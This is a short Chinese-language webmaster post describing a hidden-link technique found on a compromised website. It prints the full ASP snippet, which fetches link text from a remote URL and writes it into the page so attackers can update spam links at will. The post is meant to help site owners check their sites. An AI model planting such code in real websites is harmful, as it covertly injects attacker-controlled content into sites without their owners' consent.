用ASP實現隱藏鏈接方法

今天在處理一個網站被掛鏈接的事件中發現了一個新的放隱藏鏈接辦法，以前見過的一般都是marquee大小爲1或者使用CSS隱藏的方法，今天發現的這個方法居然還可以隨時更新該鏈接，越來越難發現並更智能化了。不多說了，先把今天發現的代碼發來，供廣大站長參考，檢查自己的網站有無類似代碼。
代碼如下：

 

    <%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("網址"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

 

上面的“網址”就是存放鏈接文本的網址，利用這段代碼就可以隨時更新鏈接而無需再到原始網站進行更新，如果這些人把心思用到正道上那該多好啊，廣大站長儘快查一下自己的網站是否有這樣的代碼了。